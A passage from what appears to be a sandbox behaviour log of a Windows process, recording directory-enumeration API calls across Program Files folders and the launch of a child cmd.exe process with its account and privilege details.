ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.684] FindNextFileW (in: hFindFile=0x604588, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0037.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6045c8 [0037.686] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.686] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0037.686] FindClose (in: hFindFile=0x6045c8 | out: hFindFile=0x6045c8) returned 1 [0037.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f20070 | out: hHeap=0x510000) returned 1 [0037.687] FindNextFileW (in: hFindFile=0x604588, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0037.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6045c8 [0037.687] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.687] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0037.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604688 [0037.688] FindNextFileW (in: hFindFile=0x604688, lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.688] FindNextFileW (in: hFindFile=0x604688, lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0037.689] FindClose (in: hFindFile=0x604688 | out: hFindFile=0x604688) returned 1 [0037.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f30078 | out: hHeap=0x510000) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0037.689] FindClose (in: hFindFile=0x6045c8 | out: hFindFile=0x6045c8) returned 1 [0037.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f20070 | out: hHeap=0x510000) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x604588, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0037.689] FindClose (in: hFindFile=0x604588 | out: hFindFile=0x604588) returned 1 [0037.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f10068 | out: hHeap=0x510000) returned 1 [0037.689] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0037.689] FindClose (in: hFindFile=0x604488 | out: hFindFile=0x604488) returned 1 [0037.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f850b0 | out: hHeap=0x510000) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0037.690] FindClose (in: hFindFile=0x604548 | out: hFindFile=0x604548) returned 1 [0037.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f750a8 | out: hHeap=0x510000) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x604408, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0037.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604548 [0037.690] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0037.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604488 [0037.691] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0037.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604588 [0037.694] FindNextFileW (in: hFindFile=0x604588, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.694] FindNextFileW (in: hFindFile=0x604588, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0047.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604548 [0047.205] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.205] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0047.207] FindClose (in: hFindFile=0x604548 | out: hFindFile=0x604548) returned 1 [0047.207] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ee0058 | out: hHeap=0x510000) returned 1 [0047.339] FindNextFileW (in: hFindFile=0x6046c8, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ef398, dwReserved0=0x0, dwReserved1=0x0, cFileName="authplay.dll", cAlternateFileName="")) returned 1 [0049.179] FindNextFileW (in: hFindFile=0x604708, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.180] FindNextFileW (in: hFindFile=0x604708, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="ADOBEF~1.OTF")) returned 1 [0052.819] FindNextFileW (in: hFindFile=0x604708, lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.819] FindNextFileW (in: hFindFile=0x604708, lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe19c11c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbe19c11c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbe19c11c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0052.819] FindClose (in: hFindFile=0x604708 | out: hFindFile=0x604708) returned 1 [0052.820] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef0060 | out: hHeap=0x510000) returned 1 [0052.823] FindNextFileW (in: hFindFile=0x604688, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1 [0052.823] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604708 [0052.824] FindNextFileW (in: hFindFile=0x604708, lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.824] FindNextFileW (in: hFindFile=0x604708, lpFindFileData=0x3a7ee18 | out: lpFindFileData=0x3a7ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe38b2fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbe38b2fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbe38b2fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0052.824] FindClose (in: hFindFile=0x604708 | out: hFindFile=0x604708) returned 1 [0052.825] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef0060 | out: hHeap=0x510000) returned 1 [0052.825] FindNextFileW (in: hFindFile=0x604688, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1 [0054.966] FindNextFileW (in: hFindFile=0x6049c8, lpFindFileData=0x3a7df30 | out: lpFindFileData=0x3a7df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.966] FindNextFileW (in: hFindFile=0x6049c8, lpFindFileData=0x3a7df30 | out: lpFindFileData=0x3a7df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0055.137] FindNextFileW (in: hFindFile=0x604a08, lpFindFileData=0x3a7dcb4 | out: lpFindFileData=0x3a7dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.137] FindNextFileW (in: hFindFile=0x604a08, lpFindFileData=0x3a7dcb4 | out: lpFindFileData=0x3a7dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 Thread: id = 25 os_tid = 0xa00 Thread: id = 26 os_tid = 0xa1c Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4dae4000" os_pid = "0x984" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x970" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" 